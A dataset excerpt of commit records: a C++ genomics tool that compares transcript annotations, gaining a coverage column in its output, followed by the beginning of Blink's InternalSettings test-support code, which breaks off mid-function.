{"text":"<commit_before>#include \"compare.h\"\n#include <cassert>\n#include <cmath>\n\nint remove_single_exon_transcripts(genome &gm)\n{\n\tfor(int i = 0; i < gm.genes.size(); i++)\n\t{\n\t\tgm.genes[i].remove_single_exon_transcripts();\n\t}\n\treturn 0;\n}\n\nbool compare_structure(const transcript &x, const transcript &y)\n{\n\tif(x.exons.size() != y.exons.size()) return false;\n\tfor(int i = 0; i < x.exons.size(); i++)\n\t{\n\t\tif(x.exons[i].first != y.exons[i].first) return false;\n\t\tif(x.exons[i].second != y.exons[i].second) return false;\n\t}\n\treturn true;\n}\n\nbool compare_intron_chain(const transcript &x, const transcript &y)\n{\n\tif(x.exons.size() != y.exons.size()) return false;\n\t\n\tif(x.exons.size() == 0) return false;\n\n\tif(x.exons.size() == 1)\n\t{\n\t\tif(fabs(x.exons[0].first - y.exons[0].first) > 100) return false;\n\t\tif(fabs(x.exons[0].second - y.exons[0].second) > 100) return false;\n\t\treturn true;\n\t}\n\n\tfor(int i = 0; i < x.exons.size(); i++)\n\t{\n\t\tdouble diff1 = 0.5;\n\t\tdouble diff2 = 0.5;\n\t\tif(i == 0) diff1 = 9999999999;\n\t\tif(i == x.exons.size() - 1) diff2 = 9999999999;\n\n\t\tif(fabs(x.exons[i].first - y.exons[i].first) > diff1) return false;\n\t\tif(fabs(x.exons[i].second - y.exons[i].second) > diff2) return false;\n\t}\n\treturn true;\n}\n\nbool compare_expression(const transcript &x, const transcript &y)\n{\n\tif(x.expression == y.expression) return true;\n\telse return false;\n}\n\nint compare_gene(const gene &x, const gene &y, int mode)\n{\n\treturn compare_transcripts(x.transcripts, y.transcripts, mode);\n}\n\nint compare_transcripts(const vector<transcript> &y, const vector<transcript> &x, int mode)\n{\n\tint cnt = 0;\n\tvector<bool> v;\n\tv.assign(y.size(), false);\n\tfor(int i = 0; i < x.size(); i++)\n\t{\n\t\tconst transcript &t1 = x[i];\n\t\tbool flag = false;\n\t\tfor(int j = 0; j < y.size(); j++)\n\t\t{\n\t\t\tif(v[j] == true) continue;\n\t\t\tconst transcript &t2 = y[j];\n\t\t\tbool b = false;\n\t\t\tif(mode == 1)\n\t\t\t{\n\t\t\t\tif(compare_structure(t1, t2) == false) b = false;\n\t\t\t\tif(compare_expression(t1, t2) == false) b = false;\n\t\t\t}\n\t\t\tif(mode == 2)\n\t\t\t{\n\t\t\t\tb = compare_intron_chain(t1, t2);\n\n\t\t\t\tif(b == true)\n\t\t\t\t{\n\t\t\t\t\tprintf(\"TRUE %s %s %s %c %d %lu %d %s %s %s %c %d %lu %d\\n\", \n\t\t\t\t\t\t\tt1.gene_id.c_str(), t1.transcript_id.c_str(), t1.label().c_str(), t1.strand, t1.expression, t1.exons.size(), t1.length(),\n\t\t\t\t\t\t\tt2.gene_id.c_str(), t2.transcript_id.c_str(), t2.label().c_str(), t2.strand, t2.expression, t2.exons.size(), t2.length());\n\t\t\t\t}\n\n\t\t\t\tif(t1.strand != t2.strand) b = false;\n\t\t\t}\n\n\t\t\tif(b == false) continue;\n\n\t\t\tflag = true;\n\t\t\tv[j] = true;\n\t\t\tcnt++;\n\t\t\tbreak;\n\t\t}\n\n\t\tif(flag == false) printf(\"FALSE %s %s %s %c %d %lu %d\\n\", \n\t\t\t\tt1.gene_id.c_str(), t1.transcript_id.c_str(), t1.label().c_str(), t1.strand, t1.expression, t1.exons.size(), t1.length());\n\t}\n\treturn cnt;\n}\n\nint compare_gene_bounds(const gene &x, const gene &y)\n{\n\tif(x.get_seqname() != y.get_seqname()) return 0;\n\tPI32 px = x.get_bounds();\n\tPI32 py = y.get_bounds();\n\tassert(px.first < px.second);\n\tassert(py.first < py.second);\n\n\tif(py.first < px.first && px.first < py.second && py.second < px.second) printf(\"%s %c %s:%d-%d %s %c %s:%d-%d overlap1\\n\", x.get_gene_id().c_str(), x.get_strand(), x.get_seqname().c_str(), px.first, px.second, y.get_gene_id().c_str(), y.get_strand(), y.get_seqname().c_str(), py.first, py.second);\n\tif(px.first < py.first && py.first < px.second && px.second < py.second) printf(\"%s %c %s:%d-%d %s %c %s:%d-%d overlap2\\n\", x.get_gene_id().c_str(), x.get_strand(), x.get_seqname().c_str(), px.first, px.second, y.get_gene_id().c_str(), y.get_strand(), y.get_seqname().c_str(), py.first, py.second);\n\tif(px.first <= py.first && px.second >= py.second) printf(\"%s %c %s:%d-%d %s %c %s:%d-%d inclusive1\\n\", x.get_gene_id().c_str(), x.get_strand(), x.get_seqname().c_str(), px.first, px.second, y.get_gene_id().c_str(), y.get_strand(), y.get_seqname().c_str(), py.first, py.second);\n\tif(py.first <= px.first && py.second >= px.second) printf(\"%s %c %s:%d-%d %s %c %s:%d-%d inclusive2\\n\", x.get_gene_id().c_str(), x.get_strand(), x.get_seqname().c_str(), px.first, px.second, y.get_gene_id().c_str(), y.get_strand(), y.get_seqname().c_str(), py.first, py.second);\n\n\treturn 0;\n}\n\nint compare_genome1(const genome &x, const genome &y)\n{\n\tint gequal = 0;\n\tint tequal = 0;\n\tint gtotal = x.genes.size();\n\tint ttotal = 0;\n\tfor(int i = 0; i < x.genes.size(); i++)\n\t{\n\t\tconst gene* gx = &(x.genes[i]);\n\t\tconst gene* gy = y.get_gene(x.genes[i].get_gene_id());\n\t\tif(gx == NULL || gy == NULL) continue;\n\t\tint tx = gx->transcripts.size();\n\t\tint ty = gy->transcripts.size();\n\t\tint t0 = compare_gene(*gx, *gy, 1);\n\t\tassert(t0 <= tx);\n\t\tassert(t0 <= ty);\n\t\tttotal += tx;\n\t\ttequal += t0;\n\t\tif(t0 == tx) gequal++;\n\t\tstring s;\n\t\tif(tx == ty) s = \"EQUAL\";\n\t\telse if(tx > ty) s = \"GREATER\";\n\t\telse s = \"LESS\";\n\t\tprintf(\"%s %d and %d transcripts, %d are equal, %s, %s\\n\", gx->get_gene_id().c_str(), tx, ty, t0, (t0 == tx) ? \"TRUE\" : \"FALSE\", s.c_str());\n\t}\n\tprintf(\"summary: %d out of %d genes are equal, %d out of %d transcripts are equal\\n\",\n\t\t\tgequal, gtotal, tequal, ttotal);\n\treturn 0;\n}\n\nint compare_genome2(const genome &x, const genome &y)\n{\n\ttypedef pair< string, vector<transcript> > PSVT;\n\ttypedef map< string, vector<transcript> > MSVT;\n\tMSVT m1;\n\tMSVT m2;\n\n\tint xtotal = 0;\n\tint ytotal = 0;\n\tfor(int i = 0; i < x.genes.size(); i++)\n\t{\n\t\tstring chrm = x.genes[i].get_seqname();\n\t\tconst vector<transcript> &v = x.genes[i].transcripts;\n\t\txtotal += v.size();\n\t\tif(m1.find(chrm) == m1.end())\n\t\t{\n\t\t\tm1.insert(PSVT(chrm, v));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm1[chrm].insert(m1[chrm].end(), v.begin(), v.end());\n\t\t}\n\t}\n\n\tfor(int i = 0; i < y.genes.size(); i++)\n\t{\n\t\tstring chrm = y.genes[i].get_seqname();\n\t\tconst vector<transcript> &v = y.genes[i].transcripts;\n\t\tytotal += v.size();\n\t\tif(m2.find(chrm) == m2.end())\n\t\t{\n\t\t\tm2.insert(PSVT(chrm, v));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm2[chrm].insert(m2[chrm].end(), v.begin(), v.end());\n\t\t}\n\t}\n\n\tint correct = 0;\n\tfor(MSVT::iterator it = m1.begin(); it != m1.end(); it++)\n\t{\n\t\tconst vector<transcript> &v1 = it->second;\n\t\tif(m2.find(it->first) == m2.end()) continue;\n\t\tconst vector<transcript> &v2 = m2[it->first];\n\n\t\tcorrect += compare_transcripts(v1, v2, 2);\n\t}\n\n\tdouble s = (xtotal == 0) ? 0 : correct * 100.0 \/ xtotal;\n\tdouble p = (ytotal == 0) ? 0 : correct * 100.0 \/ ytotal;\n\tprintf(\"reference = %d prediction = %d correct = %d sensitivity = %.2lf precision = %.2lf\\n\", xtotal, ytotal, correct, s, p);\n\n\treturn 0;\n}\n\nint compare_genome3(const genome &x, const genome &y)\n{\n\ttypedef pair< string, vector<int> > PSVI;\n\ttypedef map< string, vector<int> > MSVI;\n\tMSVI m1;\n\tMSVI m2;\n\n\tfor(int i = 0; i < x.genes.size(); i++)\n\t{\n\t\tstring chrm = x.genes[i].get_seqname();\n\t\tif(m1.find(chrm) == m1.end())\n\t\t{\n\t\t\tvector<int> v;\n\t\t\tv.push_back(i);\n\t\t\tm1.insert(PSVI(chrm, v));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm1[chrm].push_back(i);\n\t\t}\n\t}\n\n\tfor(int i = 0; i < y.genes.size(); i++)\n\t{\n\t\tstring chrm = y.genes[i].get_seqname();\n\t\tif(m2.find(chrm) == m2.end())\n\t\t{\n\t\t\tvector<int> v;\n\t\t\tv.push_back(i);\n\t\t\tm2.insert(PSVI(chrm, v));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm2[chrm].push_back(i);\n\t\t}\n\t}\n\n\tfor(MSVI::iterator it = m1.begin(); it != m1.end(); it++)\n\t{\n\t\tvector<int> v1 = it->second;\n\t\tif(m2.find(it->first) == m2.end()) continue;\n\t\tvector<int> v2 = m2[it->first];\n\n\t\tfor(int i = 0; i < v1.size(); i++)\n\t\t{\n\t\t\tfor(int j = 0; j < v2.size(); j++)\n\t\t\t{\n\t\t\t\tcompare_gene_bounds(x.genes[v1[i]], y.genes[v2[j]]);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn 0;\n}\n\n<commit_msg>add coverage to gtfcompare<commit_after>#include \"compare.h\"\n#include <cassert>\n#include <cmath>\n\nint remove_single_exon_transcripts(genome &gm)\n{\n\tfor(int i = 0; i < gm.genes.size(); i++)\n\t{\n\t\tgm.genes[i].remove_single_exon_transcripts();\n\t}\n\treturn 0;\n}\n\nbool compare_structure(const transcript &x, const transcript &y)\n{\n\tif(x.exons.size() != y.exons.size()) return false;\n\tfor(int i = 0; i < x.exons.size(); i++)\n\t{\n\t\tif(x.exons[i].first != y.exons[i].first) return false;\n\t\tif(x.exons[i].second != y.exons[i].second) return false;\n\t}\n\treturn true;\n}\n\nbool compare_intron_chain(const transcript &x, const transcript &y)\n{\n\tif(x.exons.size() != y.exons.size()) return false;\n\t\n\tif(x.exons.size() == 0) return false;\n\n\tif(x.exons.size() == 1)\n\t{\n\t\tif(fabs(x.exons[0].first - y.exons[0].first) > 100) return false;\n\t\tif(fabs(x.exons[0].second - y.exons[0].second) > 100) return false;\n\t\treturn true;\n\t}\n\n\tfor(int i = 0; i < x.exons.size(); i++)\n\t{\n\t\tdouble diff1 = 0.5;\n\t\tdouble diff2 = 0.5;\n\t\tif(i == 0) diff1 = 9999999999;\n\t\tif(i == x.exons.size() - 1) diff2 = 9999999999;\n\n\t\tif(fabs(x.exons[i].first - y.exons[i].first) > diff1) return false;\n\t\tif(fabs(x.exons[i].second - y.exons[i].second) > diff2) return false;\n\t}\n\treturn true;\n}\n\nbool compare_expression(const transcript &x, const transcript &y)\n{\n\tif(x.expression == y.expression) return true;\n\telse return false;\n}\n\nint compare_gene(const gene &x, const gene &y, int mode)\n{\n\treturn compare_transcripts(x.transcripts, y.transcripts, mode);\n}\n\nint compare_transcripts(const vector<transcript> &y, const vector<transcript> &x, int mode)\n{\n\tint cnt = 0;\n\tvector<bool> v;\n\tv.assign(y.size(), false);\n\tfor(int i = 0; i < x.size(); i++)\n\t{\n\t\tconst transcript &t1 = x[i];\n\t\tbool flag = false;\n\t\tfor(int j = 0; j < y.size(); j++)\n\t\t{\n\t\t\tif(v[j] == true) continue;\n\t\t\tconst transcript &t2 = y[j];\n\t\t\tbool b = false;\n\t\t\tif(mode == 1)\n\t\t\t{\n\t\t\t\tif(compare_structure(t1, t2) == false) b = false;\n\t\t\t\tif(compare_expression(t1, t2) == false) b = false;\n\t\t\t}\n\t\t\tif(mode == 2)\n\t\t\t{\n\t\t\t\tb = compare_intron_chain(t1, t2);\n\n\t\t\t\tif(b == true)\n\t\t\t\t{\n\t\t\t\t\tprintf(\"TRUE %s %s %s %c %d %lu %d %.2lf %s %s %s %c %d %lu %d %.2lf\\n\", \n\t\t\t\t\t\t\tt1.gene_id.c_str(), t1.transcript_id.c_str(), t1.label().c_str(), t1.strand, t1.expression, t1.exons.size(), t1.length(), t1.coverage,\n\t\t\t\t\t\t\tt2.gene_id.c_str(), t2.transcript_id.c_str(), t2.label().c_str(), t2.strand, t2.expression, t2.exons.size(), t2.length(), t2.coverage);\n\t\t\t\t}\n\n\t\t\t\tif(t1.strand != t2.strand) b = false;\n\t\t\t}\n\n\t\t\tif(b == false) continue;\n\n\t\t\tflag = true;\n\t\t\tv[j] = true;\n\t\t\tcnt++;\n\t\t\tbreak;\n\t\t}\n\n\t\tif(flag == false) printf(\"FALSE %s %s %s %c %d %lu %d %.2lf\\n\", \n\t\t\t\tt1.gene_id.c_str(), t1.transcript_id.c_str(), t1.label().c_str(), t1.strand, t1.expression, t1.exons.size(), t1.length(), t1.coverage);\n\t}\n\treturn cnt;\n}\n\nint compare_gene_bounds(const gene &x, const gene &y)\n{\n\tif(x.get_seqname() != y.get_seqname()) return 0;\n\tPI32 px = x.get_bounds();\n\tPI32 py = y.get_bounds();\n\tassert(px.first < px.second);\n\tassert(py.first < py.second);\n\n\tif(py.first < px.first && px.first < py.second && py.second < px.second) printf(\"%s %c %s:%d-%d %s %c %s:%d-%d overlap1\\n\", x.get_gene_id().c_str(), x.get_strand(), x.get_seqname().c_str(), px.first, px.second, y.get_gene_id().c_str(), y.get_strand(), y.get_seqname().c_str(), py.first, py.second);\n\tif(px.first < py.first && py.first < px.second && px.second < py.second) printf(\"%s %c %s:%d-%d %s %c %s:%d-%d overlap2\\n\", x.get_gene_id().c_str(), x.get_strand(), x.get_seqname().c_str(), px.first, px.second, y.get_gene_id().c_str(), y.get_strand(), y.get_seqname().c_str(), py.first, py.second);\n\tif(px.first <= py.first && px.second >= py.second) printf(\"%s %c %s:%d-%d %s %c %s:%d-%d inclusive1\\n\", x.get_gene_id().c_str(), x.get_strand(), x.get_seqname().c_str(), px.first, px.second, y.get_gene_id().c_str(), y.get_strand(), y.get_seqname().c_str(), py.first, py.second);\n\tif(py.first <= px.first && py.second >= px.second) printf(\"%s %c %s:%d-%d %s %c %s:%d-%d inclusive2\\n\", x.get_gene_id().c_str(), x.get_strand(), x.get_seqname().c_str(), px.first, px.second, y.get_gene_id().c_str(), y.get_strand(), y.get_seqname().c_str(), py.first, py.second);\n\n\treturn 0;\n}\n\nint compare_genome1(const genome &x, const genome &y)\n{\n\tint gequal = 0;\n\tint tequal = 0;\n\tint gtotal = x.genes.size();\n\tint ttotal = 0;\n\tfor(int i = 0; i < x.genes.size(); i++)\n\t{\n\t\tconst gene* gx = &(x.genes[i]);\n\t\tconst gene* gy = y.get_gene(x.genes[i].get_gene_id());\n\t\tif(gx == NULL || gy == NULL) continue;\n\t\tint tx = gx->transcripts.size();\n\t\tint ty = gy->transcripts.size();\n\t\tint t0 = compare_gene(*gx, *gy, 1);\n\t\tassert(t0 <= tx);\n\t\tassert(t0 <= ty);\n\t\tttotal += tx;\n\t\ttequal += t0;\n\t\tif(t0 == tx) gequal++;\n\t\tstring s;\n\t\tif(tx == ty) s = \"EQUAL\";\n\t\telse if(tx > ty) s = \"GREATER\";\n\t\telse s = \"LESS\";\n\t\tprintf(\"%s %d and %d transcripts, %d are equal, %s, %s\\n\", gx->get_gene_id().c_str(), tx, ty, t0, (t0 == tx) ? \"TRUE\" : \"FALSE\", s.c_str());\n\t}\n\tprintf(\"summary: %d out of %d genes are equal, %d out of %d transcripts are equal\\n\",\n\t\t\tgequal, gtotal, tequal, ttotal);\n\treturn 0;\n}\n\nint compare_genome2(const genome &x, const genome &y)\n{\n\ttypedef pair< string, vector<transcript> > PSVT;\n\ttypedef map< string, vector<transcript> > MSVT;\n\tMSVT m1;\n\tMSVT m2;\n\n\tint xtotal = 0;\n\tint ytotal = 0;\n\tfor(int i = 0; i < x.genes.size(); i++)\n\t{\n\t\tstring chrm = x.genes[i].get_seqname();\n\t\tconst vector<transcript> &v = x.genes[i].transcripts;\n\t\txtotal += v.size();\n\t\tif(m1.find(chrm) == m1.end())\n\t\t{\n\t\t\tm1.insert(PSVT(chrm, v));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm1[chrm].insert(m1[chrm].end(), v.begin(), v.end());\n\t\t}\n\t}\n\n\tfor(int i = 0; i < y.genes.size(); i++)\n\t{\n\t\tstring chrm = y.genes[i].get_seqname();\n\t\tconst vector<transcript> &v = y.genes[i].transcripts;\n\t\tytotal += v.size();\n\t\tif(m2.find(chrm) == m2.end())\n\t\t{\n\t\t\tm2.insert(PSVT(chrm, v));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm2[chrm].insert(m2[chrm].end(), v.begin(), v.end());\n\t\t}\n\t}\n\n\tint correct = 0;\n\tfor(MSVT::iterator it = m1.begin(); it != m1.end(); it++)\n\t{\n\t\tconst vector<transcript> &v1 = it->second;\n\t\tif(m2.find(it->first) == m2.end()) continue;\n\t\tconst vector<transcript> &v2 = m2[it->first];\n\n\t\tcorrect += compare_transcripts(v1, v2, 2);\n\t}\n\n\tdouble s = (xtotal == 0) ? 0 : correct * 100.0 \/ xtotal;\n\tdouble p = (ytotal == 0) ? 0 : correct * 100.0 \/ ytotal;\n\tprintf(\"reference = %d prediction = %d correct = %d sensitivity = %.2lf precision = %.2lf\\n\", xtotal, ytotal, correct, s, p);\n\n\treturn 0;\n}\n\nint compare_genome3(const genome &x, const genome &y)\n{\n\ttypedef pair< string, vector<int> > PSVI;\n\ttypedef map< string, vector<int> > MSVI;\n\tMSVI m1;\n\tMSVI m2;\n\n\tfor(int i = 0; i < x.genes.size(); i++)\n\t{\n\t\tstring chrm = x.genes[i].get_seqname();\n\t\tif(m1.find(chrm) == m1.end())\n\t\t{\n\t\t\tvector<int> v;\n\t\t\tv.push_back(i);\n\t\t\tm1.insert(PSVI(chrm, v));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm1[chrm].push_back(i);\n\t\t}\n\t}\n\n\tfor(int i = 0; i < y.genes.size(); i++)\n\t{\n\t\tstring chrm = y.genes[i].get_seqname();\n\t\tif(m2.find(chrm) == m2.end())\n\t\t{\n\t\t\tvector<int> v;\n\t\t\tv.push_back(i);\n\t\t\tm2.insert(PSVI(chrm, v));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm2[chrm].push_back(i);\n\t\t}\n\t}\n\n\tfor(MSVI::iterator it = m1.begin(); it != m1.end(); it++)\n\t{\n\t\tvector<int> v1 = it->second;\n\t\tif(m2.find(it->first) == m2.end()) continue;\n\t\tvector<int> v2 = m2[it->first];\n\n\t\tfor(int i = 0; i < v1.size(); i++)\n\t\t{\n\t\t\tfor(int j = 0; j < v2.size(); j++)\n\t\t\t{\n\t\t\t\tcompare_gene_bounds(x.genes[v1[i]], y.genes[v2[j]]);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2012 Google Inc. All rights reserved.\n * Copyright (C) 2013 Apple Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1.  Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n * 2.  Redistributions in binary form must reproduce the above copyright\n *     notice, this list of conditions and the following disclaimer in the\n *     documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS \"AS IS\" AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"InternalSettings.h\"\n\n#include \"RuntimeEnabledFeatures.h\"\n#include \"bindings\/v8\/ExceptionState.h\"\n#include \"core\/dom\/ExceptionCode.h\"\n#include \"core\/page\/Page.h\"\n#include \"core\/frame\/Settings.h\"\n#include \"platform\/ColorChooser.h\"\n#include \"platform\/Supplementable.h\"\n#include \"platform\/text\/LocaleToScriptMapping.h\"\n\n#define InternalSettingsGuardForSettingsReturn(returnValue) \\\n    if (!settings()) { \\\n        exceptionState.throwUninformativeAndGenericDOMException(InvalidAccessError); \\\n        return returnValue; \\\n    }\n\n#define InternalSettingsGuardForSettings()  \\\n    if (!settings()) { \\\n        exceptionState.throwUninformativeAndGenericDOMException(InvalidAccessError); \\\n        return; \\\n    }\n\n#define InternalSettingsGuardForPage() \\\n    if (!page()) { \\\n        exceptionState.throwUninformativeAndGenericDOMException(InvalidAccessError); \\\n        return; \\\n    }\n\nnamespace WebCore {\n\nInternalSettings::Backup::Backup(Settings* settings)\n    : m_originalCSSExclusionsEnabled(RuntimeEnabledFeatures::cssExclusionsEnabled())\n    , m_originalAuthorShadowDOMForAnyElementEnabled(RuntimeEnabledFeatures::authorShadowDOMForAnyElementEnabled())\n    , m_originalExperimentalWebSocketEnabled(settings->experimentalWebSocketEnabled())\n    , m_originalStyleScoped(RuntimeEnabledFeatures::styleScopedEnabled())\n    , m_originalCSP(RuntimeEnabledFeatures::experimentalContentSecurityPolicyFeaturesEnabled())\n    , m_originalOverlayScrollbarsEnabled(RuntimeEnabledFeatures::overlayScrollbarsEnabled())\n    , m_originalEditingBehavior(settings->editingBehaviorType())\n    , m_originalTextAutosizingEnabled(settings->textAutosizingEnabled())\n    , m_originalTextAutosizingWindowSizeOverride(settings->textAutosizingWindowSizeOverride())\n    , m_originalAccessibilityFontScaleFactor(settings->accessibilityFontScaleFactor())\n    , m_originalMediaTypeOverride(settings->mediaTypeOverride())\n    , m_originalMockScrollbarsEnabled(settings->mockScrollbarsEnabled())\n    , m_langAttributeAwareFormControlUIEnabled(RuntimeEnabledFeatures::langAttributeAwareFormControlUIEnabled())\n    , m_imagesEnabled(settings->imagesEnabled())\n    , m_shouldDisplaySubtitles(settings->shouldDisplaySubtitles())\n    , m_shouldDisplayCaptions(settings->shouldDisplayCaptions())\n    , m_shouldDisplayTextDescriptions(settings->shouldDisplayTextDescriptions())\n    , m_defaultVideoPosterURL(settings->defaultVideoPosterURL())\n    , m_originalCompositorDrivenAcceleratedScrollEnabled(settings->compositorDrivenAcceleratedScrollingEnabled())\n    , m_originalLayerSquashingEnabled(settings->layerSquashingEnabled())\n    , m_originalPasswordGenerationDecorationEnabled(settings->passwordGenerationDecorationEnabled())\n{\n}\n\nvoid InternalSettings::Backup::restoreTo(Settings* settings)\n{\n    RuntimeEnabledFeatures::setCSSExclusionsEnabled(m_originalCSSExclusionsEnabled);\n    RuntimeEnabledFeatures::setAuthorShadowDOMForAnyElementEnabled(m_originalAuthorShadowDOMForAnyElementEnabled);\n    settings->setExperimentalWebSocketEnabled(m_originalExperimentalWebSocketEnabled);\n    RuntimeEnabledFeatures::setStyleScopedEnabled(m_originalStyleScoped);\n    RuntimeEnabledFeatures::setExperimentalContentSecurityPolicyFeaturesEnabled(m_originalCSP);\n    RuntimeEnabledFeatures::setOverlayScrollbarsEnabled(m_originalOverlayScrollbarsEnabled);\n    settings->setEditingBehaviorType(m_originalEditingBehavior);\n    settings->setTextAutosizingEnabled(m_originalTextAutosizingEnabled);\n    settings->setTextAutosizingWindowSizeOverride(m_originalTextAutosizingWindowSizeOverride);\n    settings->setAccessibilityFontScaleFactor(m_originalAccessibilityFontScaleFactor);\n    settings->setMediaTypeOverride(m_originalMediaTypeOverride);\n    settings->setMockScrollbarsEnabled(m_originalMockScrollbarsEnabled);\n    RuntimeEnabledFeatures::setLangAttributeAwareFormControlUIEnabled(m_langAttributeAwareFormControlUIEnabled);\n    settings->setImagesEnabled(m_imagesEnabled);\n    settings->setShouldDisplaySubtitles(m_shouldDisplaySubtitles);\n    settings->setShouldDisplayCaptions(m_shouldDisplayCaptions);\n    settings->setShouldDisplayTextDescriptions(m_shouldDisplayTextDescriptions);\n    settings->setDefaultVideoPosterURL(m_defaultVideoPosterURL);\n    settings->setCompositorDrivenAcceleratedScrollingEnabled(m_originalCompositorDrivenAcceleratedScrollEnabled);\n    settings->setLayerSquashingEnabled(m_originalLayerSquashingEnabled);\n    settings->setPasswordGenerationDecorationEnabled(m_originalPasswordGenerationDecorationEnabled);\n    settings->genericFontFamilySettings().reset();\n}\n\n\/\/ We can't use RefCountedSupplement because that would try to make InternalSettings RefCounted\n\/\/ and InternalSettings is already RefCounted via its base class, InternalSettingsGenerated.\n\/\/ Instead, we manually make InternalSettings supplement Page.\nclass InternalSettingsWrapper : public Supplement<Page> {\npublic:\n    explicit InternalSettingsWrapper(Page* page)\n        : m_internalSettings(InternalSettings::create(page)) { }\n    virtual ~InternalSettingsWrapper() { m_internalSettings->hostDestroyed(); }\n#if !ASSERT_DISABLED\n    virtual bool isRefCountedWrapper() const OVERRIDE { return true; }\n#endif\n    InternalSettings* internalSettings() const { return m_internalSettings.get(); }\n\nprivate:\n    RefPtr<InternalSettings> m_internalSettings;\n};\n\nconst char* InternalSettings::supplementName()\n{\n    return \"InternalSettings\";\n}\n\nInternalSettings* InternalSettings::from(Page* page)\n{\n    if (!Supplement<Page>::from(page, supplementName()))\n        Supplement<Page>::provideTo(page, supplementName(), adoptPtr(new InternalSettingsWrapper(page)));\n    return static_cast<InternalSettingsWrapper*>(Supplement<Page>::from(page, supplementName()))->internalSettings();\n}\n\nInternalSettings::~InternalSettings()\n{\n}\n\nInternalSettings::InternalSettings(Page* page)\n    : InternalSettingsGenerated(page)\n    , m_page(page)\n    , m_backup(&page->settings())\n{\n}\n\nvoid InternalSettings::resetToConsistentState()\n{\n    page()->setPageScaleFactor(1, IntPoint(0, 0));\n\n    m_backup.restoreTo(settings());\n    m_backup = Backup(settings());\n\n    InternalSettingsGenerated::resetToConsistentState();\n}\n\nSettings* InternalSettings::settings() const\n{\n    if (!page())\n        return 0;\n    return &page()->settings();\n}\n\nvoid InternalSettings::setMockScrollbarsEnabled(bool enabled, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setMockScrollbarsEnabled(enabled);\n}\n\nvoid InternalSettings::setAuthorShadowDOMForAnyElementEnabled(bool isEnabled)\n{\n    RuntimeEnabledFeatures::setAuthorShadowDOMForAnyElementEnabled(isEnabled);\n}\n\nvoid InternalSettings::setExperimentalWebSocketEnabled(bool isEnabled)\n{\n    settings()->setExperimentalWebSocketEnabled(isEnabled);\n}\n\nvoid InternalSettings::setStyleScopedEnabled(bool enabled)\n{\n    RuntimeEnabledFeatures::setStyleScopedEnabled(enabled);\n}\n\nvoid InternalSettings::setExperimentalContentSecurityPolicyFeaturesEnabled(bool enabled)\n{\n    RuntimeEnabledFeatures::setExperimentalContentSecurityPolicyFeaturesEnabled(enabled);\n}\n\nvoid InternalSettings::setOverlayScrollbarsEnabled(bool enabled)\n{\n    RuntimeEnabledFeatures::setOverlayScrollbarsEnabled(enabled);\n}\n\nvoid InternalSettings::setTouchEventEmulationEnabled(bool enabled, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setTouchEventEmulationEnabled(enabled);\n}\n\nvoid InternalSettings::setViewportEnabled(bool enabled, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setViewportEnabled(enabled);\n}\n\n\/\/ FIXME: This is a temporary flag and should be removed once accelerated\n\/\/ overflow scroll is ready (crbug.com\/254111).\nvoid InternalSettings::setCompositorDrivenAcceleratedScrollingEnabled(bool enabled, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setCompositorDrivenAcceleratedScrollingEnabled(enabled);\n}\n\n\/\/ FIXME: This is a temporary flag and should be removed once squashing is\n\/\/ ready (crbug.com\/261605).\nvoid InternalSettings::setLayerSquashingEnabled(bool enabled, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    settings()->setLayerSquashingEnabled(enabled);\n}\n\nvoid InternalSettings::setStandardFontFamily(const AtomicString& family, const String& script, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    UScriptCode code = scriptNameToCode(script);\n    if (code == USCRIPT_INVALID_CODE)\n        return;\n    settings()->genericFontFamilySettings().setStandard(family, code);\n    m_page->setNeedsRecalcStyleInAllFrames();\n}\n\nvoid InternalSettings::setSerifFontFamily(const AtomicString& family, const String& script, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    UScriptCode code = scriptNameToCode(script);\n    if (code == USCRIPT_INVALID_CODE)\n        return;\n    settings()->genericFontFamilySettings().setSerif(family, code);\n    m_page->setNeedsRecalcStyleInAllFrames();\n}\n\nvoid InternalSettings::setSansSerifFontFamily(const AtomicString& family, const String& script, ExceptionState& exceptionState)\n{\n    InternalSettingsGuardForSettings();\n    UScriptCode code = scriptNameToCode(script);\n    if (code == USCRIPT_INVALID_CODE)\n        return;\n    settings()->genericFontFamilySettings().setSansSerif(family, code);\n    